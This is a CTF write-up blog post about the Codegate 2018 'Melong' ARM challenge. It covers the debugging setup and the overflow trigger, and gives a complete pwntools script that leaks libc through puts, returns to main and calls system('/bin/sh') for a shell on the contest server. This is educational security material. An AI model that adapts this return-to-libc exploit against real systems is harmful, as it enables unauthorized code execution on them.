Codegate 2018 Writeup
4 February 2018Yesterday I played the Codegate CTF 2018 with Lotus-Eur3kA, a combination with Blue-Lotus and Eur3kA. Unluckily, there are several challenges we didn’t solve in time and finally we got rank 21.
Melong
The challenge is not difficult, but it is the first arm exploit I solved in a CTF game. So I will try to make this wp more detailed.The challenge can be download in here.
The exploit in arm is almost the same with that in X86. All we need to know is how arm makes function calls.
To be short, arm use r0-r3 to store the first 4 argument, with r0 storing the first and r4 the fourth. And no jmp or call instruction in arm, but b or bl instead.
Program info
Let’s take a look in the program
[*] '/home/ne0/Desktop/codegate/melong/melong'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Debug
To run the program, I use qemu-arm:
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./melong
- -L dir: dir is /path/to/lib_for_arm
- -g port: for remote debug
At another console, run the gdb for arm:
arm-none-eabi-gdb melong
In gdb, we run:
gdb-peda$ target remote localhost:1234
Remote debugging using localhost:1234
warning: A handler for the OS ABI "GNU/Linux" is not built into this configuration
of GDB. Attempting to continue with the default armv5t settings.
Warning: not running or target is remote
Save/restore a working gdb session to file as a script
Usage:
session save [filename]
session restore [filename]
0xf67ceb00 in ?? ()
gdb-peda$ c
Continuing.
Then we see the program running:
➜ melong qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./melong
Welcome to the BPSEC gym
1. Check your bmi
2. Exercise
3. Register personal training
4. Write daily record
5. Have some health menu
6. Out of the gym
Type the number:
Exploit
The logic in the program is easy, so I leave it out. To trigger buffer overflow, all you need to to is:
- check bmi once
- Register training, enter -1
- write dairy with unlimited length,thus overflow.
To find useful gadget, I use ROPgadget, and the only gadget I use is
0x00011bbc : pop {r0, pc}
The flow is the same as X86:
- Leak the libc address
- Return to main or somewhere else to trigger buffer overflow again
- Get shell
To leak, we set r0=puts got, pc=puts plt. After puts is called, the program will fetch the eip from stack, so we can fill it with the address we want to return. Thus the finall exp is
from pwn import *
remote_addr="ch41l3ng3s.codegate.kr"
remote_port=1199
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
p=remote(remote_addr,remote_port)
def go(payload):
choice(1)
sla('Your height(meters) : ','1')
sla('Your weight(kilograms) : ','1')
choice(3)
sla('take personal training?\n','-1')
choice(4)
sl(payload)
choice(6)
rl()
def hack():
pop_r0=0x00011bbc
main=0x110CC
puts_plt=0x0104A8
puts_got=0x2301c
payload='A'*84+p32(pop_r0)+p32(puts_got)+p32(puts_plt)
payload+=p32(main)*8
go(payload)
libc.address=u32(p.recv(4))-libc.symbols['puts']
lg("LIBc",libc.address)
payload='A'*84+p32(pop_r0)+p32(libc.search('/bin/sh').next())+p32(libc.symbols['system'])
go(payload)
p.interactive()
hack()
By the way, the libc is not provided in the attachment. But the libc in the server happens to match my qemu libc. So I solved it without having to find the correct libc
Zoo
To be continued….